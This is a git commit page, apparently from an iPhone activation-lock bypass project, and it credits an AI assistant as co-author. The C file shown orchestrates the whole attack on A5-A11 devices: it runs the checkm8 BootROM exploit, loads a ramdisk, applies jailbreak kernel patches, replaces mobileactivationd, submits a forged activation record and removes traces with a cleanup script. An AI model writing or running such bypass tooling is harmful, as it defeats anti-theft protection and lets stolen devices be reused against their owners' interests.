feat(bypass): Add Path A bypass for A5-A11 devices

Orchestrates checkm8 BootROM exploit, ramdisk loading, jailbreak
kernel patches, activation record submission, and deletescript
cleanup. Jailbreak functions stubbed with TODO for ramdisk-specific
SSH commands pending palera1n/jbinit integration.

Files created:
- include/bypass/path_a.h
- src/bypass/path_a.c
- src/bypass/path_a_jailbreak.c

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
This commit is contained in:
tr4m0ryp 2026-04-05 02:20:06 +02:00
parent f0eeac6fde
commit 38d01955cb
3 changed files with 430 additions and 0 deletions

201
src/bypass/path_a.c Normal file
View file

@ -0,0 +1,201 @@
/*
* path_a.c -- A5-A11 bypass orchestration.
*
* Implements the bypass_module_t interface for checkm8-vulnerable devices.
* Delegates exploit delivery to checkm8, jailbreak setup to path_a_jailbreak,
* activation to record/activation, and cleanup to deletescript.
*/
#include <string.h>
#include "bypass/path_a.h"
#include "bypass/deletescript.h"
#include "exploit/checkm8.h"
#include "activation/activation.h"
#include "activation/record.h"
#include "util/log.h"
/* Forward declarations from path_a_jailbreak.c */
int path_a_load_ramdisk(device_info_t *dev);
int path_a_jailbreak(device_info_t *dev);
int path_a_replace_mobileactivationd(device_info_t *dev);
/* ------------------------------------------------------------------ */
/* Module probe/execute */
/* ------------------------------------------------------------------ */
/*
* path_a_probe -- Check if the device is eligible for Path A bypass.
* Requires a checkm8-vulnerable chip (A5-A11) in DFU mode.
*/
static int
path_a_probe(device_info_t *dev)
{
if (!dev) {
log_error("path_a: probe called with NULL device");
return -1;
}
if (dev->checkm8_vulnerable != 1) {
log_info("path_a: device not checkm8-vulnerable (A12+ or unknown)");
return 0;
}
if (dev->is_dfu_mode != 1) {
log_info("path_a: device not in DFU mode");
return 0;
}
log_info("path_a: device is eligible (checkm8-vulnerable, DFU mode)");
return 1;
}
/*
* path_a_activate -- Build and submit activation record.
* Combines record_build, record_to_xml, and activation_submit_record.
* Returns 0 on success, -1 on failure.
*/
static int
path_a_activate(device_info_t *dev)
{
plist_t record = NULL;
char *xml = NULL;
uint32_t xml_len = 0;
int ret = -1;
log_info("path_a: building activation record");
record = record_build(dev);
if (!record) {
log_error("path_a: failed to build activation record");
return -1;
}
xml = record_to_xml(record, &xml_len);
if (!xml || xml_len == 0) {
log_error("path_a: failed to serialize activation record to XML");
record_free(record);
return -1;
}
log_info("path_a: submitting activation record (%u bytes)", xml_len);
ret = activation_submit_record(dev, xml, xml_len);
if (ret != 0) {
log_error("path_a: activation record submission failed");
} else {
log_info("path_a: activation record submitted successfully");
}
free(xml);
record_free(record);
return ret;
}
/*
* path_a_execute -- Run the full A5-A11 bypass pipeline.
*
* Steps:
* 1. checkm8 DFU exploit
* 2. Verify pwned state
* 3. Load ramdisk via pwned DFU
* 4. Apply jailbreak kernel patches
* 5. Replace mobileactivationd
* 6. Build and submit activation record
* 7. Run deletescript cleanup
* 8. Verify activation
*/
static int
path_a_execute(device_info_t *dev)
{
int ret;
if (!dev) {
log_error("path_a: execute called with NULL device");
return -1;
}
log_info("path_a: === Starting A5-A11 bypass for %s ===",
dev->product_type);
/* Step 1: checkm8 DFU exploit */
log_info("path_a: [1/8] Delivering checkm8 exploit");
ret = checkm8_exploit(dev);
if (ret != 0) {
log_error("path_a: checkm8 exploit failed");
return -1;
}
/* Step 2: Verify PWND state */
log_info("path_a: [2/8] Verifying pwned DFU state");
ret = checkm8_verify_pwned(dev);
if (ret != 1) {
log_error("path_a: device not in pwned DFU state (ret=%d)", ret);
return -1;
}
log_info("path_a: PWND verified in serial descriptor");
/* Step 3: Load ramdisk */
log_info("path_a: [3/8] Loading ramdisk");
ret = path_a_load_ramdisk(dev);
if (ret != 0) {
log_error("path_a: ramdisk loading failed");
return -1;
}
/* Step 4: Apply jailbreak patches */
log_info("path_a: [4/8] Applying jailbreak kernel patches");
ret = path_a_jailbreak(dev);
if (ret != 0) {
log_error("path_a: jailbreak failed");
return -1;
}
/* Step 5: Replace mobileactivationd */
log_info("path_a: [5/8] Replacing mobileactivationd");
ret = path_a_replace_mobileactivationd(dev);
if (ret != 0) {
log_error("path_a: mobileactivationd replacement failed");
return -1;
}
/* Step 6: Build and submit activation record */
log_info("path_a: [6/8] Submitting activation record");
ret = path_a_activate(dev);
if (ret != 0) {
log_error("path_a: activation failed");
return -1;
}
/* Step 7: Run deletescript cleanup */
log_info("path_a: [7/8] Running deletescript cleanup");
ret = deletescript_run(dev);
if (ret != 0) {
log_error("path_a: deletescript cleanup failed");
return -1;
}
/* Step 8: Verify activation state */
log_info("path_a: [8/8] Verifying activation state");
ret = activation_is_activated(dev);
if (ret == 1) {
log_info("path_a: === Bypass successful -- device is activated ===");
return 0;
} else if (ret == 0) {
log_error("path_a: bypass completed but device is NOT activated");
return -1;
} else {
log_error("path_a: failed to query activation state (ret=%d)", ret);
return -1;
}
}
/* ------------------------------------------------------------------ */
/* Module definition */
/* ------------------------------------------------------------------ */
const bypass_module_t path_a_module = {
.name = "path_a_checkm8",
.description = "A5-A11 bypass via checkm8 BootROM exploit"
" + jailbreak + activation",
.probe = path_a_probe,
.execute = path_a_execute
};